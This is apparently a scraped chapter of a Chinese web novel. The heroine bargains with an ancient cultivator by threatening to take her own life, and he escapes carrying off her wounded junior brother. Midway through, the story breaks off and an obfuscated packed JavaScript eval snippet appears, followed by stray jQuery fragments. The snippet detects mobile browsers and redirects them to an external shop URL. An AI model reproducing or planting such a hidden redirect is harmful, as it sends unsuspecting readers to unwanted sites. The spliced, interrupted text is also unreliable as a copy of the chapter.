80. 第 80 章

作品:《小师姐她有骑士病

    尝试着动手只会是自寻死路,而等天玄宗的救兵赶来,恐怕也只能看见一地狼藉了,大脑如同上了发针的时钟飞快运作着,试图找到能拖延时间的办法。


    “我,”锦书顿了顿,又下定决心般朗声道:“我和你是同乡。”


    燕老嗤笑一声:“我和纪家人不是邻居。”


    “不是这个同乡。”


    燕老头眼神变了变,视线将她从上向下扫视了一番:“难怪我总觉得你行为有些奇异。”


    “不过,”他话音一转:“我来到这里已经几百年了,早就对原来那个地方不在意了。”


    锦书抿了抿嘴,陈赋舟上前贴近了些,低声询问道:“师姐?”


    她又冲燕老露出一个释然的笑容:“那就我都快要死了,你到底姓甚名谁,与那女子有何纠缠,能不能让我死个明白?”


    “你想拖延时间吗?可惜就算天玄宗那群老顽固过来了,也救不走你们。”他不过是平平无奇的老头模样,气势却如同统帅着千军万马,灵气携裹着威压便如一把锤子一样重重地压的下方两人呼吸困难:“不过我可以告诉你我叫什么名字。”


    他目光忽的婉转了起来:“再来到这里之前,我是个孤儿,名字也是孤儿院院长随便起的。可遇到了她后,她说我原本的名字不好,笑起来如同揽明月入怀,便唤我燕朗月。”


    下意识地回想自己所看过的所有小说,确定没有听过这个名字后,心下又因为不确定性凉了几分。


    望着这位鸡皮鹤肤的老人,心中不由得泛起一股无力,他一个人来到这异世不知过了多久只为等到一个复活爱人的机会,如今模样沧桑、形容孤寂,哪里还有他自己所说的笑容朗月入怀的模样。


    燕朗月伸手向下,因为年龄而几乎难以伸直的手指慢悠悠地合起、收拢,锦书感到一股大力从四周传来,就连空气都被挤压成了粘稠般的油状。


    锦书暗自咬牙,眉头紧缩,调动着体内的灵力向外抵抗着这来者不善的“大手”,可和她紧紧相握的手却松开了。


    她诧异地微微转头,陈赋舟已经被拎了起来飞到了半空中。


    伤势本就严重、灵力溃散的他自然不能抵挡燕朗月,在这重重的威压下不由得面部扭曲、嘴角也滑出鲜血。


    锦书心下着急,师弟整日这样流血,说不定哪天就先失血而亡了,可她如今也是自身难保,整个人相较于原来下沉了几乎数米,半条腿都埋在了黄土里,连张嘴说话都做不到。


    锦书拔出从家中带来的剑,插在地上来支撑着自己。


    燕朗月笑容不变,脸上闪过一丝嘲讽:“你从哪里寻来的破剑,连绊玉一根剑穗都不如。”


    他好像懒得再多费口舌同锦书纠缠了,一掌挥出,锦书被汹涌的灵力推得踉跄几步,一屁股坐在地上。


    威压消失了,总算能开口说话了,锦书怒目圆瞪:“你又不肯把绊玉给我,又说这些有什么用?还有,你下手轻些,我师弟本就重伤,你准备直接掐死他吗?”


    燕朗月失笑道:“都什么时候你还有闲心关心他,他若是死了倒也好办,离魂引又不会消散,我自然可以去找下一个寄主。”


    锦书手指陷在干燥粗糙的土壤里,土壤中藏匿着的石子咯的柔软的手掌阵阵生疼,本就浑身酸疼的身体在先前的威压磨炼下几乎已经是一具充满痛苦的骨架。


    她现在已经完全失去了反抗的力量,羊群能够在遇到饿狼时私下逃散,可她就好像瘸腿的那只,只能在原地战战兢兢地等着饿狼前来将自己化作美食。


    燕朗月眉头微挑,就要把她也从地上提起来,锦书深吸一口气,猛地拔出插在一旁的长剑,架在了自己的脖子上,剑锋贴着脆弱的皮肉,近距离地触摸着凸起的血管,距离死亡只需要轻轻向前一送。


    空中的两人都紧紧地盯住了那做工精致、却被燕朗月贬低的一文不值的长剑上,仿佛要用目光将那剑锯断。


    锦书冷笑一声,扬起头,将脖颈暴露在天光下:“他死了你能再找,那我死了呢?”


    “你等了这么多年,如今才能复活她,就是在等一个能够被绊玉接纳的身体出现吧。等了那么多年只遇到了我一个,倘若再等下去,不知道那具已经开始散发出尸臭的尸体能不能撑到那时候。”


    提到那具尸体,燕老头怒容浮现,堆积在一起的皱纹微微颤抖,喝道:“放下剑,我就给纪家人一个活路。”


    听到“纪家人”这三个字,锦书心里猛地一跳,可面上尤不见变化,依旧一副死不放手的倔强。


    “你以为我会怕你的威胁?别忘了,我和你一样都不是这里的人,同他们自然也没有什么感情。”


    这番说辞显然骗过了燕朗月,他手中不敢再使劲,唯恐锦书真的自刎,但依旧语带讽刺:“你外表如此清纯可人,没想到这么冷心冷肺,宁愿让无辜之人替自己去死。”


    说着,他转头看向被自己束缚在空中的陈赋舟:“这样一个冷血的小魔头,你也喜欢?”


    锦书同他温柔的视线撞在一起,在心底安慰自己,陈赋舟定能猜到自己只是为了牵制住燕朗月才这样说的,本性并非如此。


    陈赋舟脸色憔悴至极,任谁来看都要担忧他小命几许,他勾起嘴角,酒窝就好像一剂定心剂般抚慰了锦书的焦虑。


    只听他坚定的声音从上方传来:“我喜欢她的一切,惩恶扬善也好,杀人放火也罢,不管是对我笑,还是对我发脾气,什么样子都很可爱。”


    燕朗月怔了怔,在这紧要关头,竟有些微微出神。


    锦书是拼了命地才举起长剑架在自己脖子上的,他渐渐地已经有些支撑不住了,手指抖得厉害,剑锋时有时无地拉近着与皮肤的距离。


    见他久久不肯回话,只得大声道:“你还有脸批判我,你曾经也算是个正派人士吧,爱的那个妖女害死了那么多人,如今你又要为了复活她来害人,怎么还意思说我的!”


    燕朗月并没有回应她的质问,只是失神地喃喃道:“若是当初,我也能这样告诉她我喜欢她,就能随她而去了。”


    虽然打断这抒情时刻不太好,但锦书真的坚持不住了,又苦着脸叫道:“把我师弟放下,然后随我回天玄宗认罪,不然我就死给你看。”


    燕朗月不甚在意


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17462733|192304||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地向下扫视:“你真的敢死?我不相信。”


    锦书气的脸涨热,叫道:“你再说一句我就真的死给你看!”


    可惜还轮不到两个人谁先说话,远处率先传来喝声:“住手。”


    锦书饱含期待地朝天空一侧看去,浩浩荡荡的众人正御剑朝这边飞了过来,并列站在首位的是刚刚开口的掌门和对自己的两个弟子充满担忧的玄清真人,接着是大师兄、大师姐和李行道,以及一些没有受伤的弟子,甚至连熊戚都骑着小花气势汹汹地跟在一旁。


    燕朗月眼神轻蔑:“来这么多人有什么用?”


    不过看着下方依旧横剑在脖的锦书,他也知道若是强行掠走她,说不定真会激得这行为莽撞的女子自杀,只能暂时作罢:“今日我先带你这师弟走,等安置好了他,再来寻你。”


    青天白日、众目睽睽之下,燕朗月抓住陈赋舟化作一团青烟消失在空中,无影无踪。


    锦书一把扔开手中的长剑,急切地探着头看向四周,可除了刚刚来到的一群人,没没再看见其他人。


    燕临落在地上,把锦书从地上扶起,心疼道:“怎么弄成这样?”


    锦书没空回答这个问题,只是抓住了她的袖子,借力站起身,面向其他人,急切地解释道:“你们都看到了吗?陈赋舟是被那个人威胁了,是在他的胁迫下才做出伤害同门的事,并非本意。”


    有没反应过来的人表情凝在脸上,玄清真人严肃道:“此事等我们将陈赋舟带回来会仔细审问的,只是他刚刚那副样子更像是和那人一起逃跑了。”


    锦书咬了咬下嘴唇,又望向掌门:“掌门,我记得那个燕朗月曾同我说过,他是您的朋友,是您邀请他来天玄宗的居住的啊?”


    掌门是个面容和蔼的小老头,身上挂着药袋,散发出一种常年熏陶的药香,闻言只是垂下眼眸微微摇头,叹息道:“那位是大前辈,可以说是如今这世上活的最久的人,我当初也是敬仰才会邀他到宗门小住,只是就,锦书你是否误会了什么,他活了这么多年,从未做出什么伤人之事啊。”


    眼看周围的人都不相信自己的说辞,锦书心里又是委屈,又是着急,不由得落下眼泪来,又要张口解释。


    燕临见她失控,只能握住她激动地、一直颤抖的手,揽住她的肩膀,温声劝慰道:“有什么话咱们回了宗门再说好吗?”


    锦书抽噎地几乎喘不上气来,被燕临扶着推上小花的虎背,一行人又御剑朝宗门里飞了回去。


    感受到少女在自己身后一抽一抽,情绪崩溃,熊戚只能岔开话题解释道:“你们宗门出了这么大事,我爹让我带着我们御兽宗的医师来帮忙,然后玄清真人还通知了陈家,只是.......”


    她话中停顿了片刻:“只是灵汐夫人说让天玄宗抓到他之后自行处理,不愿过来,但是陈家那个小子不相信自己哥哥做了那样的事,叫嚷着也跑到了天玄宗。”


    少女依旧小声啜泣着,熊戚自觉口笨,不由得在心里埋怨自己哪壶不提开哪壶,应该提点开心事的。


    却听少女带着浓浓的鼻音谢道:“谢谢你告诉我这些。”